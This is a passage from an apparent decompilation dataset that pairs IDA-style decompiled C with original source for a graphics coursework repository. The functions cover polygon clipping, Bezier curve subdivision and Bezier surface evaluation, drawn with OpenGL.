BYREF\nint v60; // [rsp+10C38h] [rbp-38h]\nint v61; // [rsp+10C44h] [rbp-2Ch]\nint v62; // [rsp+10C48h] [rbp-28h]\nint v63; // [rsp+10C4Ch] [rbp-24h]\nint j; // [rsp+10C50h] [rbp-20h]\nint v65; // [rsp+10C54h] [rbp-1Ch]\nint k; // [rsp+10C58h] [rbp-18h]\nint i; // [rsp+10C5Ch] [rbp-14h]\nchar v68[8]; // [rsp+10C60h] [rbp-10h] BYREF\n\nv50 = (int *)a1;\nv49 = a2;\nmemset(s, 0, 0xC8uLL);\nmemset(v53, 0, 0xC8uLL);\nv2 = v52;\nmemset(v52, 0, 0xC8uLL);\nv65 = 0;\nfor ( i = 0; i < *(_DWORD *)(v49 + 2200); ++i )\n{\nk = 0;\nfor ( j = 0; j < v50[550]; ++j )\n{\nv5 = *(_QWORD *)&v50[8 * j + 152];\nv45 = *(_QWORD *)&v50[8 * j + 150];\nv46 = v5;\nv6 = *(_QWORD *)&v50[8 * j + 156];\nv47 = *(_QWORD *)&v50[8 * j + 154];\nv48 = v6;\nv7 = *(_QWORD *)(v49 + 32LL * i + 608);\nv41 = *(_QWORD *)(v49 + 32LL * i + 600);\nv42 = v7;\nv8 = *(_QWORD *)(v49 + 32LL * i + 624);\nv43 = *(_QWORD *)(v49 + 32LL * i + 616);\nv44 = v8;\nif ( (unsigned int)((__int64 (__fastcall *)(int *, __int64 *, __int64, __int64, __int64, __int64))interset)(\nv2,\n&v41,\nv8,\nv49 + 32LL * i + 592,\nv3,\nv4) )\n{\nv9 = &base[3 * k];\nv10 = *(_QWORD *)&v50[8 * j + 152];\nv45 = *(_QWORD *)&v50[8 * j + 150];\nv46 = v10;\nv11 = *(_QWORD *)&v50[8 * j + 156];\nv47 = *(_QWORD *)&v50[8 * j + 154];\nv48 = v11;\nv12 = *(_QWORD *)(v49 + 32LL * i + 608);\nv41 = *(_QWORD *)(v49 + 32LL * i + 600);\nv42 = v12;\nv13 = *(_QWORD *)(v49 + 32LL * i + 624);\nv43 = *(_QWORD *)(v49 + 32LL * i + 616);\nv44 = v13;\n*v9 = ((__int64 (__fastcall *)(int *, __int64 *, __int64, __int64, __int64, __int64))intersection)(\nv2,\n&v41,\nv13,\nv49 + 32LL * i + 592,\nv3,\nv4);\n*((_DWORD *)v9 + 2) = v14;\n*(_DWORD *)&v68[24 * k - 7836] = j;\nv15 = (__int64 *)(v49 + 12LL * i);\nv16 = *v15;\nv17 = *((unsigned int *)v15 + 2);\nv18 = (int **)&base[3 * k];\nv2 = *v18;\nv19 = dis(*v18, *((unsigned int *)v18 + 2), v16, v17);\n*(_DWORD *)&v68[24 * k++ - 7844] = v19;\n}\n}\nif ( k )\nqsort(base, k, 0x18uLL, (__compar_fn_t)comp_dis);\nv2 = v50;\nv62 = in_poly(v50, *(_QWORD *)(v49 + 12LL * i), *(unsigned int *)(v49 + 12LL * i + 8));\nv20 = &v56[3 * v65];\nv21 = v49 + 12LL * i;\n*(_QWORD *)v20 = *(_QWORD *)v21;\nv20[2] = *(_DWORD *)(v21 + 8);\n++v65;\nfor ( j = 0; j < k; ++j )\n{\nv22 = &v56[3 * v65];\nv23 = &base[3 * j];\n*(_QWORD *)v22 = *v23;\nv22[2] = *((_DWORD *)v23 + 2);\nv53[v65] = 2 - (((_BYTE)v62 + (_BYTE)j) & 1);\n*(_DWORD *)&v68[24 * j - 7840] = v53[v65++];\nv61 = *(_DWORD *)&v68[24 * j - 7836];\nv24 = &v68[1200 * v61 - 67856 + 24 * v52[v61]];\nv25 = &base[3 * j];\nv26 = v25[1];\n*(_QWORD *)v24 = *v25;\n*((_QWORD *)v24 + 1) = v26;\n*((_QWORD *)v24 + 2) = v25[2];\n++v52[v61];\n}\n}\nif ( v65 == *(_DWORD *)(v49 + 2200) )\n{\nif ( (unsigned int)in_poly(v50, *(_QWORD *)v49, *(unsigned int *)(v49 + 8)) )\nfillpolygon(v49, *(double *)&black, *((float *)&black + 2), *(double *)&blue, *((float *)&blue + 2));\n}\nelse\n{\nv57 = v65;\nv65 = 0;\nfor ( i = 0; i < v50[550]; ++i )\n{\nv27 = &v59[3 * v65];\nv28 = &v50[3 * i];\n*(_QWORD *)v27 = *(_QWORD *)v28;\nv27[2] = v28[2];\n++v65;\nfor ( j = 0; j < v52[i]; ++j )\n{\nv29 = &v50[3 * i];\nv30 = *(_QWORD *)v29;\nv31 = (unsigned int)v29[2];\nv32 = &v68[1200 * i - 67856 + 24 * j];\nv33 = dis(*(_QWORD *)v32, *((unsigned int *)v32 + 2), v30, v31);\n*(_DWORD *)&v68[1200 * i - 67844 + 24 * j] = v33;\n}\nif ( v52[i] )\nqsort(&s[300 * i + 52], v52[i], 0x18uLL, (__compar_fn_t)comp_dis);\nfor ( j = 0; j < v52[i]; ++j )\n{\nv34 = &v59[3 * v65];\nv35 = &v68[1200 * i - 67856 + 24 * j];\n*(_QWORD *)v34 = *(_QWORD *)v35;\nv34[2] = *((_DWORD *)v35 + 2);\ns[v65++] = *(_DWORD *)&v68[1200 * i - 67840 + 24 * j];\n}\n}\nv60 = v65;\nmakeline(v56);\nmakeline(v59);\nmemset(v51, 0, 0xC8uLL);\nwhile ( 1 )\n{\nv63 = 1;\nfor ( i = 0; i < v57; ++i )\n{\nif ( v53[i] == 2 && !v51[i] )\n{\nv51[i] = 1;\nv63 = 0;\nbreak;\n}\n}\nif ( v63 )\nbreak;\nv65 = 0;\nwhile ( 1 )\n{\nwhile ( v53[i] != 1 )\n{\nv36 = &v58[3 * v65];\nv37 = &v56[3 * i];\n*(_QWORD *)v36 = *(_QWORD *)v37;\nv36[2] = v37[2];\n++v65;\ni = (i + 1) % v57;\n}\nfor ( k = 0;\nk < v60\n&& !(unsigned int)eq_point(\n*(_QWORD *)&v56[3 * i],\n(unsigned int)v56[3 * i + 2],\n*(_QWORD *)&v59[3 * k],\n(unsigned int)v59[3 * k + 2]);\n++k )\n{\n;\n}\nwhile ( s[k] != 2 )\n{\nv38 = &v58[3 * v65];\nv39 = &v59[3 * k];\n*(_QWORD *)v38 = *(_QWORD *)v39;\nv38[2] = v39[2];\n++v65;\nk = (k + 1) % v60;\n}\nfor ( i = 0;\ni < v57\n&& !(unsigned int)eq_point(\n*(_QWORD *)&v56[3 * i],\n(unsigned int)v56[3 * i + 2],\n*(_QWORD *)&v59[3 * k],\n(unsigned int)v59[3 * k + 2]);\n++i )\n{\n;\n}\nif ( v51[i] )\nbreak;\nv51[i] = 1;\n}\nv58[550] = v65;\nmakeline(v58);\nfillpolygon(v58, *(double *)&black, *((float *)&black + 2), *(double *)&blue, *((float *)&blue + 2));\n}\n}\ndrawpolygon(v49, *(double *)&yellow, *((float *)&yellow + 2));\nreturn drawpolygon(v50, *(double *)&red, *((float *)&red + 2));\n}", "original_code": "void clipping(struct poly *window,struct poly *pol)\n{\n struct poly win,clip,tpol;\n struct storp inter[50],newwin[50][50];\n int flag_win[50],flag_pol[50],num[50];\n memset(flag_win,0,sizeof(flag_win));\n memset(flag_pol,0,sizeof(flag_pol));\n memset(num,0,sizeof(num));\n int flag;\n int i,j,k = 0, x;\n for (i = 0;i < pol->ver_num; ++i)\n {\n j = 0;\n for (x =0;x < window->ver_num; ++x)\n if (interset(pol->edge[i],window->edge[x]))\n {\n inter[j].p = intersection(pol->edge[i],window->edge[x]);\n inter[j].pos = x;\n inter[j].dis = dis(inter[j].p,pol->vertex[i]);\n ++j;\n }\n if (j) qsort(inter,j,sizeof(struct storp),comp_dis);\n int t=in_poly(window,pol->vertex[i]);\n tpol.vertex[k]=pol->vertex[i];\n ++k;\n for (x = 0;x < j;++x)\n {\n tpol.vertex[k] = inter[x].p;\n flag_pol[k] = 2-((t+x) & 1);\n inter[x].flag = flag_pol[k];\n ++k;\n int p=inter[x].pos;\n newwin[p][num[p]] = inter[x];\n ++num[p];\n }\n }\n if (k == pol->ver_num)\n {\n if (in_poly(window,pol->vertex[0])) fillpolygon(pol,black,blue);\n drawpolygon(pol,yellow);\n drawpolygon(window,red);\n return ;\n }\n tpol.ver_num = k;\n k = 0;\n for (i = 0;i < window->ver_num; ++i)\n {\n win.vertex[k] = window->vertex[i];\n ++k;\n for (x = 0;x < num[i];++x) newwin[i][x].dis=dis(newwin[i][x].p,window->vertex[i]);\n if (num[i]) qsort(newwin[i],num[i],sizeof(struct storp),comp_dis);\n for (x = 0;x < num[i];++x)\n {\n win.vertex[k] = newwin[i][x].p;\n flag_win[k] = newwin[i][x].flag;\n ++k;\n }\n }\n win.ver_num = k;\n makeline(&tpol);\n makeline(&win);\n int mark[50];\n memset(mark,0,sizeof(mark));\n while (1)\n {\n int flag = 1;\n for (i = 0;i < tpol.ver_num; ++i)\n if (flag_pol[i] == 2 && mark[i] == 0)\n {\n mark[i] = 1;\n flag = 0;\n break;\n }\n if (flag) break;\n k = 0;\n while (1)\n {\n while (flag_pol[i] != 1)\n {\n clip.vertex[k] = tpol.vertex[i];\n ++k;\n i = (i+1) % tpol.ver_num;\n }\n for (j = 0;j < win.ver_num; ++j)\n if (eq_point(tpol.vertex[i],win.vertex[j])) break;\n while (flag_win[j] != 2)\n {\n clip.vertex[k] = win.vertex[j];\n ++k;\n j = (j+1) % win.ver_num;\n }\n for (i = 0;i < tpol.ver_num; ++i)\n if (eq_point(tpol.vertex[i],win.vertex[j])) break;\n if (mark[i]) break;\n mark[i] = 1;\n }\n clip.ver_num = k;\n makeline(&clip);\n fillpolygon(&clip,black,blue);\n }\n drawpolygon(pol,yellow);\n drawpolygon(window,red);\n}", "canonical_original_code": "void clipping(struct poly *window, struct poly *pol)\n{\n struct poly win; struct poly clip; struct poly tpol;\n struct storp inter[50]; struct storp newwin[50][50];\n int flag_win[50]; int flag_pol[50]; int num[50];\n memset(flag_win,0,sizeof(flag_win));\n memset(flag_pol,0,sizeof(flag_pol));\n memset(num,0,sizeof(num));\n int flag;\n int i; int j; int k = 0; int x;\n for (i = 0;i < pol->ver_num; ++i)\n {\n j = 0;\n for (x =0;x < window->ver_num; ++x)\n if (interset(pol->edge[i],window->edge[x]))\n {\n inter[j].p = intersection(pol->edge[i],window->edge[x]);\n inter[j].pos = x;\n inter[j].dis = dis(inter[j].p,pol->vertex[i]);\n ++j;\n }\n if (j) qsort(inter,j,sizeof(struct storp),comp_dis);\n int t = in_poly(window,pol->vertex[i]);\n tpol.vertex[k]=pol->vertex[i];\n ++k;\n for (x = 0;x < j;++x)\n {\n tpol.vertex[k] = inter[x].p;\n flag_pol[k] = 2-((t+x) & 1);\n inter[x].flag = flag_pol[k];\n ++k;\n int p = inter[x].pos;\n newwin[p][num[p]] = inter[x];\n ++num[p];\n }\n }\n if (k == pol->ver_num)\n {\n if (in_poly(window,pol->vertex[0])) fillpolygon(pol,black,blue);\n drawpolygon(pol,yellow);\n drawpolygon(window,red);\n return ;\n }\n tpol.ver_num = k;\n k = 0;\n for (i = 0;i < window->ver_num; ++i)\n {\n win.vertex[k] = window->vertex[i];\n ++k;\n for (x = 0;x < num[i];++x) newwin[i][x].dis=dis(newwin[i][x].p,window->vertex[i]);\n if (num[i]) qsort(newwin[i],num[i],sizeof(struct storp),comp_dis);\n for (x = 0;x < num[i];++x)\n {\n win.vertex[k] = newwin[i][x].p;\n flag_win[k] = newwin[i][x].flag;\n ++k;\n }\n }\n win.ver_num = k;\n makeline(&tpol);\n makeline(&win);\n int mark[50];\n memset(mark,0,sizeof(mark));\n while (1)\n {\n int flag = 1;\n for (i = 0;i < tpol.ver_num; ++i)\n if (flag_pol[i] == 2 && mark[i] == 0)\n {\n mark[i] = 1;\n flag = 0;\n break;\n }\n if (flag) break;\n k = 0;\n while (1)\n {\n while (flag_pol[i] != 1)\n {\n clip.vertex[k] = tpol.vertex[i];\n ++k;\n i = (i+1) % tpol.ver_num;\n }\n for (j = 0;j < win.ver_num; ++j)\n if (eq_point(tpol.vertex[i],win.vertex[j])) break;\n while (flag_win[j] != 2)\n {\n clip.vertex[k] = win.vertex[j];\n ++k;\n j = (j+1) % win.ver_num;\n }\n for (i = 0;i < tpol.ver_num; ++i)\n if (eq_point(tpol.vertex[i],win.vertex[j])) break;\n if (mark[i]) break;\n mark[i] = 1;\n }\n clip.ver_num = k;\n makeline(&clip);\n fillpolygon(&clip,black,blue);\n }\n drawpolygon(pol,yellow);\n drawpolygon(window,red);\n}", "variable_types": [ [ "window", "struct poly { struct point { int x; } vertex[50]; struct line { struct point p1; struct slope { int dx; } sl; } edge[50]; int ver_num; } *" ], [ "pol", "struct poly *" ], [ "win", "struct poly { struct point { int x; } vertex[50]; struct line { struct point p1; struct slope { int dx; } sl; } edge[50]; int ver_num; }" ], [ "clip", "struct poly { struct point { int x; } vertex[50]; struct line { struct point p1; struct slope { int dx; } sl; } edge[50]; int ver_num; }" ], [ "tpol", "struct poly { struct point { int x; } vertex[50]; struct line { struct point p1; struct slope { int dx; } sl; } edge[50]; int ver_num; }" ], [ "inter", "struct storp { struct point { int x; } p; int dis; } [50]" ], [ "newwin", "struct storp { struct point { int x; } p; int dis; } [50][50]" ], [ "flag_win", "int [50]" ], [ "flag_pol", "int [50]" ], [ "num", "int [50]" ], [ "flag", "int" ], [ "i", "int" ], [ "j", "int" ], [ "k", "int" ], [ "x", "int" ], [ "t", "int" ], [ "p", "int" ], [ "mark", "int [50]" ] ], "return_type": "void", "user_defined_types": [ "struct poly { struct point vertex[50]; struct line edge[50]; int ver_num; }", "struct storp { struct point p; int dis; }", "struct point { int x; }", "struct line { struct point p1; struct slope sl; }", "struct slope { int dx; }" ], "binary_hash": "5770f47f9907d8691117177640cd8cc8a3761ddab0ed0571270bc7688f252407" } ]
b7ecc0a9e0b2083c5cb545cc63486d68d806a67ce6a551a245617edbe4159ebf
kidxin/Graphics-Experiment
[ [ "readcontrol", "->" ], [ "read2d", "->", "drawsurface" ], [ "separate", "->", "drawcurve" ], [ "drawcurve", "->", "separate" ], [ "recur", "->", "drawsurface" ], [ "drawsurface", "->", "read2d", "recur" ] ]
[]
[ { "name": "readcontrol", "canonical_name": "func0", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 readcontrol()\n{\nchar *v0; // rbx\nint v1; // edx\n__int64 result; // rax\nint i; // [rsp+Ch] [rbp-14h]\n\nreadint(&con_num);\nfor ( i = 0; ; ++i )\n{\nresult = (unsigned int)con_num;\nif ( i >= con_num )\nbreak;\nv0 = (char *)&control + 12 * i;\n*(_QWORD *)v0 = readpoint();\n*((_DWORD *)v0 + 2) = v1;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func0()\n{\nchar *v0; // rbx\nint v1; // edx\n__int64 result; // rax\nint i; // [rsp+Ch] [rbp-14h]\n\nreadint(&con_num);\nfor ( i = 0; ; ++i )\n{\nresult = (unsigned int)con_num;\nif ( i >= con_num )\nbreak;\nv0 = (char *)&control + 12 * i;\n*(_QWORD *)v0 = readpoint();\n*((_DWORD *)v0 + 2) = v1;\n}\nreturn result;\n}", "original_code": "void readcontrol()\n{\n readint(&con_num);\n int i;\n for (i = 0;i < con_num;++i)\n control[i]=readpoint();\n}", "canonical_original_code": "void readcontrol()\n{\n readint(&con_num);\n int i;\n for (i = 0;i < con_num;++i)\n control[i]=readpoint();\n}", "variable_types": [ [ "i", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "b7ecc0a9e0b2083c5cb545cc63486d68d806a67ce6a551a245617edbe4159ebf" }, { "name": "read2d", "canonical_name": "func1", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 read2d()\n{\nchar *v0; // rbx\nint v1; // edx\n__int64 result; // rax\nint j; // [rsp+8h] [rbp-18h]\nint i; // [rsp+Ch] [rbp-14h]\n\nreadint(&m);\nreadint(&n);\nfor ( i = 0; ; ++i )\n{\nresult = (unsigned int)m;\nif ( i >= m )\nbreak;\nfor ( j = 0; j < n; ++j )\n{\nv0 = (char *)&con2d + 120 * i + 12 * j;\n*(_QWORD *)v0 = readpoint();\n*((_DWORD *)v0 + 2) = v1;\n}\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func1()\n{\nchar *v0; // rbx\nint v1; // edx\n__int64 result; // rax\nint j; // [rsp+8h] [rbp-18h]\nint i; // [rsp+Ch] [rbp-14h]\n\nreadint(&m);\nreadint(&n);\nfor ( i = 0; ; ++i )\n{\nresult = (unsigned int)m;\nif ( i >= m )\nbreak;\nfor ( j = 0; j < n; ++j )\n{\nv0 = (char *)&con2d + 120 * i + 12 * j;\n*(_QWORD *)v0 = readpoint();\n*((_DWORD *)v0 + 2) = v1;\n}\n}\nreturn result;\n}", "original_code": "void read2d()\n{\n readint(&m);\n readint(&n);\n int i,j;\n for (i = 0;i < m; ++i)\n for (j = 0;j < n;++j)\n con2d[i][j] = readpoint();\n}", "canonical_original_code": "void read2d()\n{\n readint(&m);\n readint(&n);\n int i; int j;\n for (i = 0;i < m; ++i)\n for (j = 0;j < n;++j)\n con2d[i][j] = readpoint();\n}", "variable_types": [ [ "i", "int" ], [ "j", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "b7ecc0a9e0b2083c5cb545cc63486d68d806a67ce6a551a245617edbe4159ebf" }, { "name": "separate", "canonical_name": "func2", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall separate(_QWORD *a1)\n{\n__int64 result; // rax\nchar *v2; // rcx\n__int64 v3; // rdx\n_QWORD *v4; // rax\nchar *v5; // rcx\n__int64 v6; // rdx\nchar *v7; // [rsp+18h] [rbp-18h]\nchar *v8; // [rsp+20h] [rbp-10h]\nint v9; // [rsp+28h] [rbp-8h]\nint k; // [rsp+28h] [rbp-8h]\nint i; // [rsp+2Ch] [rbp-4h]\nint l; // [rsp+2Ch] [rbp-4h]\nint j; // [rsp+2Ch] [rbp-4h]\n\nv9 = 0;\nfor ( i = 1; i < con_num; ++i )\n{\nif ( (int)abs32((int)(*(double *)&a1[2 * i] - *(double *)&a1[2 * i - 2])) > 0\n|| (int)abs32((int)(*(double *)&a1[2 * i + 1] - *(double *)&a1[2 * i - 1])) > 0 )\n{\nv9 = 1;\nbreak;\n}\n}\nif ( v9 )\n{\nv8 = (char *)malloc(16LL * con_num);\nv7 = (char *)malloc(16LL * con_num);\nfor ( j = 0; j < con_num; ++j )\n{\nv2 = &v8[16 * j];\nv3 = a1[1];\n*(_QWORD *)v2 = *a1;\n*((_QWORD *)v2 + 1) = v3;\nv4 = &a1[2 * (con_num - (__int64)j) - 2];\nv5 = &v7[16 * j];\nv6 = v4[1];\n*(_QWORD *)v5 = *v4;\n*((_QWORD *)v5 + 1) = v6;\nfor ( k = 0; k < con_num - j - 1; ++k )\n{\n*(double *)&a1[2 * k] = (*(double *)&a1[2 * k + 2] + *(double *)&a1[2 * k]) / 2.0;\n*(double *)&a1[2 * k + 1] = (*(double *)&a1[2 * k + 3] + *(double *)&a1[2 * k + 1]) / 2.0;\n}\n}\nseparate(v8);\nresult = separate(v7);\n}\nelse\n{\nfor ( l = 0; l < con_num; ++l )\nglVertex2i((unsigned int)(int)(*(double *)&a1[2 * l] + 0.5), (unsigned int)(int)(*(double *)&a1[2 * l + 1] + 0.5));\nglEnd();\nglFlush();\nusleep(0xC350u);\nresult = glBegin(0LL);\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(_QWORD *a1)\n{\n__int64 result; // rax\nchar *v2; // rcx\n__int64 v3; // rdx\n_QWORD *v4; // rax\nchar *v5; // rcx\n__int64 v6; // rdx\nchar *v7; // [rsp+18h] [rbp-18h]\nchar *v8; // [rsp+20h] [rbp-10h]\nint v9; // [rsp+28h] [rbp-8h]\nint k; // [rsp+28h] [rbp-8h]\nint i; // [rsp+2Ch] [rbp-4h]\nint l; // [rsp+2Ch] [rbp-4h]\nint j; // [rsp+2Ch] [rbp-4h]\n\nv9 = 0;\nfor ( i = 1; i < con_num; ++i )\n{\nif ( (int)abs32((int)(*(double *)&a1[2 * i] - *(double *)&a1[2 * i - 2])) > 0\n|| (int)abs32((int)(*(double *)&a1[2 * i + 1] - *(double *)&a1[2 * i - 1])) > 0 )\n{\nv9 = 1;\nbreak;\n}\n}\nif ( v9 )\n{\nv8 = (char *)malloc(16LL * con_num);\nv7 = (char *)malloc(16LL * con_num);\nfor ( j = 0; j < con_num; ++j )\n{\nv2 = &v8[16 * j];\nv3 = a1[1];\n*(_QWORD *)v2 = *a1;\n*((_QWORD *)v2 + 1) = v3;\nv4 = &a1[2 * (con_num - (__int64)j) - 2];\nv5 = &v7[16 * j];\nv6 = v4[1];\n*(_QWORD *)v5 = *v4;\n*((_QWORD *)v5 + 1) = v6;\nfor ( k = 0; k < con_num - j - 1; ++k )\n{\n*(double *)&a1[2 * k] = (*(double *)&a1[2 * k + 2] + *(double *)&a1[2 * k]) / 2.0;\n*(double *)&a1[2 * k + 1] = (*(double *)&a1[2 * k + 3] + *(double *)&a1[2 * k + 1]) / 2.0;\n}\n}\nfunc2(v8);\nresult = func2(v7);\n}\nelse\n{\nfor ( l = 0; l < con_num; ++l )\nglVertex2i((unsigned int)(int)(*(double *)&a1[2 * l] + 0.5), (unsigned int)(int)(*(double *)&a1[2 * l + 1] + 0.5));\nglEnd();\nglFlush();\nusleep(0xC350u);\nresult = glBegin(0LL);\n}\nreturn result;\n}", "original_code": "void separate(struct pointd *origin)\n{\n int i,j = 0;\n for (i = 1;i < con_num;++i)\n if (abs((origin+i)->x-(origin+i-1)->x) > 0.4 ||abs((origin+i)->y-(origin+i-1)->y) > 0.4 )\n {\n j = 1;\n break;\n }\n if (j == 0)\n {\n for (i = 0;i < con_num; ++i) glVertex2i((int)((origin+i)->x+0.5),(int)((origin+i)->y+0.5));\n glEnd();\n glFlush();\n usleep(50000);\n glBegin(0x0000);\n return;\n }\n struct pointd *left = (struct pointd *)malloc(sizeof(struct pointd)*con_num);\n struct pointd *right = (struct pointd *)malloc(sizeof(struct pointd)*con_num);\n for (i = 0;i < con_num; ++i)\n {\n *(left+i) = *origin;\n *(right+i) = *(origin+con_num-i-1);\n for (j = 0;j < con_num-i-1;++j)\n {\n (origin+j)->x = ((origin+j)->x + (origin+j+1)->x)/2;\n (origin+j)->y = ((origin+j)->y + (origin+j+1)->y)/2;\n }\n }\n separate(left);\n separate(right);\n}", "canonical_original_code": "void separate(struct pointd *origin)\n{\n int i; int j = 0;\n for (i = 1;i < con_num;++i)\n if (abs((origin+i)->x-(origin+i-1)->x) > 0.4 ||abs((origin+i)->y-(origin+i-1)->y) > 0.4 )\n {\n j = 1;\n break;\n }\n if (j == 0)\n {\n for (i = 0;i < con_num; ++i) glVertex2i((int)((origin+i)->x+0.5),(int)((origin+i)->y+0.5));\n glEnd();\n glFlush();\n usleep(50000);\n glBegin(0x0000);\n return;\n }\n struct pointd *left = (struct pointd *)malloc(sizeof(struct pointd)*con_num);\n struct pointd *right = (struct pointd *)malloc(sizeof(struct pointd)*con_num);\n for (i = 0;i < con_num; ++i)\n {\n *(left+i) = *origin;\n *(right+i) = *(origin+con_num-i-1);\n for (j = 0;j < con_num-i-1;++j)\n {\n (origin+j)->x = ((origin+j)->x + (origin+j+1)->x)/2;\n (origin+j)->y = ((origin+j)->y + (origin+j+1)->y)/2;\n }\n }\n separate(left);\n separate(right);\n}", "variable_types": [ [ "origin", "struct pointd { double x; } *" ], [ "i", "int" ], [ "j", "int" ], [ "left", "struct pointd { double x; } *" ], [ "right", "struct pointd { double x; } *" ] ], "return_type": "void", "user_defined_types": [ "struct pointd { double x; }" ], "binary_hash": "b7ecc0a9e0b2083c5cb545cc63486d68d806a67ce6a551a245617edbe4159ebf" }, { "name": "drawcurve", "canonical_name": "func3", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 drawcurve()\n{\n_QWORD *v1; // [rsp+0h] [rbp-10h]\nint i; // [rsp+Ch] [rbp-4h]\n\nglColor3f(*(double *)_mm_cvtsi32_si128(red).m128i_i64, *((float *)&red + 1), *((float *)&red + 2));\nv1 = malloc(16LL * con_num);\nfor ( i = 0; i < con_num; ++i )\n{\n*(double *)&v1[2 * i] = (double)control[3 * i];\n*(double *)&v1[2 * i + 1] = (double)control[3 * i + 1];\n}\nreturn separate(v1);\n}\n", "canonical_decompiled_code": "__int64 func3()\n{\n_QWORD *v1; // [rsp+0h] [rbp-10h]\nint i; // [rsp+Ch] [rbp-4h]\n\nglColor3f(*(double *)_mm_cvtsi32_si128(red).m128i_i64, *((float *)&red + 1), *((float *)&red + 2));\nv1 = malloc(16LL * con_num);\nfor ( i = 0; i < con_num; ++i )\n{\n*(double *)&v1[2 * i] = (double)control[3 * i];\n*(double *)&v1[2 * i + 1] = (double)control[3 * i + 1];\n}\nreturn func2(v1);\n}", "original_code": "void drawcurve()\n{\n int i;\n glColor3f(red.r,red.g,red.b);\n struct pointd *origin = (struct pointd *)malloc(sizeof(struct pointd)*con_num);\n for (i = 0;i < con_num;++i)\n {\n (origin+i)->x = control[i].x;\n (origin+i)->y = control[i].y;\n }\n separate(origin);\n}", "canonical_original_code": "void drawcurve()\n{\n int i;\n glColor3f(red.r,red.g,red.b);\n struct pointd *origin = (struct pointd *)malloc(sizeof(struct pointd)*con_num);\n for (i = 0;i < con_num;++i)\n {\n (origin+i)->x = control[i].x;\n (origin+i)->y = control[i].y;\n }\n separate(origin);\n}", "variable_types": [ [ "i", "int" ], [ "origin", "struct pointd { double x; } *" ] ], "return_type": "void", "user_defined_types": [ "struct pointd { double x; }" ], "binary_hash": "b7ecc0a9e0b2083c5cb545cc63486d68d806a67ce6a551a245617edbe4159ebf" }, { "name": "recur", "canonical_name": "func4", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall recur(double a1, double a2)\n{\n__int64 *v2; // rcx\n__int64 v3; // rdx\n__int64 v5; // [rsp+1Ch] [rbp-24h]\nint l; // [rsp+34h] [rbp-Ch]\nint n; // [rsp+34h] [rbp-Ch]\nint j; // [rsp+38h] [rbp-8h]\nint k; // [rsp+38h] [rbp-8h]\nint i; // [rsp+3Ch] [rbp-4h]\nint m; // [rsp+3Ch] [rbp-4h]\n\nfor ( i = 0; i < ::m; ++i )\n{\nfor ( j = 0; j < ::n; ++j )\n{\n*(double *)&temp1[2 * j] = (double)con2d[30 * i + 3 * j];\n*(double *)&temp1[2 * j + 1] = (double)con2d[30 * i + 1 + 3 * j];\n}\nfor ( k = 0; k < ::n; ++k )\n{\nfor ( l = 0; l < ::n - k - 1; ++l )\n{\n*(double *)&temp1[2 * l] = *(double *)&temp1[2 * l + 2] * (1.0 - a2) + *(double *)&temp1[2 * l] * a2;\n*(double *)&temp1[2 * l + 1] = *(double *)&temp1[2 * l + 3] * (1.0 - a2) + *(double *)&temp1[2 * l + 1] * a2;\n}\n}\nv2 = (__int64 *)&temp2[2 * i];\nv3 = temp1[1];\n*v2 = temp1[0];\nv2[1] = v3;\n}\nfor ( m = 0; m < ::m; ++m )\n{\nfor ( n = 0; n < ::m - m - 1; ++n )\n{\ntemp2[2 * n] = temp2[2 * n + 2] * (1.0 - a1) + temp2[2 * n] * a1;\ntemp2[2 * n + 1] = temp2[2 * n + 3] * (1.0 - a1) + temp2[2 * n + 1] * a1;\n}\n}\nLODWORD(v5) = (int)(temp2[0] + 0.5);\nHIDWORD(v5) = (int)(temp2[1] + 0.5);\nreturn v5;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(double a1, double a2)\n{\n__int64 *v2; // rcx\n__int64 v3; // rdx\n__int64 v5; // [rsp+1Ch] [rbp-24h]\nint l; // [rsp+34h] [rbp-Ch]\nint n; // [rsp+34h] [rbp-Ch]\nint j; // [rsp+38h] [rbp-8h]\nint k; // [rsp+38h] [rbp-8h]\nint i; // [rsp+3Ch] [rbp-4h]\nint m; // [rsp+3Ch] [rbp-4h]\n\nfor ( i = 0; i < ::m; ++i )\n{\nfor ( j = 0; j < ::n; ++j )\n{\n*(double *)&temp1[2 * j] = (double)con2d[30 * i + 3 * j];\n*(double *)&temp1[2 * j + 1] = (double)con2d[30 * i + 1 + 3 * j];\n}\nfor ( k = 0; k < ::n; ++k )\n{\nfor ( l = 0; l < ::n - k - 1; ++l )\n{\n*(double *)&temp1[2 * l] = *(double *)&temp1[2 * l + 2] * (1.0 - a2) + *(double *)&temp1[2 * l] * a2;\n*(double *)&temp1[2 * l + 1] = *(double *)&temp1[2 * l + 3] * (1.0 - a2) + *(double *)&temp1[2 * l + 1] * a2;\n}\n}\nv2 = (__int64 *)&temp2[2 * i];\nv3 = temp1[1];\n*v2 = temp1[0];\nv2[1] = v3;\n}\nfor ( m = 0; m < ::m; ++m )\n{\nfor ( n = 0; n < ::m - m - 1; ++n )\n{\ntemp2[2 * n] = temp2[2 * n + 2] * (1.0 - a1) + temp2[2 * n] * a1;\ntemp2[2 * n + 1] = temp2[2 * n + 3] * (1.0 - a1) + temp2[2 * n + 1] * a1;\n}\n}\nLODWORD(v5) = (int)(temp2[0] + 0.5);\nHIDWORD(v5) = (int)(temp2[1] + 0.5);\nreturn v5;\n}", "original_code": "struct point recur(double u,double v)\n{\n int i,j,k;\n struct point p;\n for (i = 0;i < m;++i)\n {\n for (j = 0;j < n;++j)\n {\n temp1[j].x = con2d[i][j].x;\n temp1[j].y = con2d[i][j].y;\n }\n for (j = 0;j < n;++j)\n for (k = 0;k < n-j-1;++k)\n {\n temp1[k].x = v*temp1[k].x+(1-v)*temp1[k+1].x;\n temp1[k].y = v*temp1[k].y+(1-v)*temp1[k+1].y;\n }\n temp2[i] = temp1[0];\n }\n for (i = 0;i < m;++i)\n {\n for (k = 0;k < m-i-1;++k)\n {\n temp2[k].x = u*temp2[k].x+(1-u)*temp2[k+1].x;\n temp2[k].y = u*temp2[k].y+(1-u)*temp2[k+1].y;\n }\n }\n p.x = 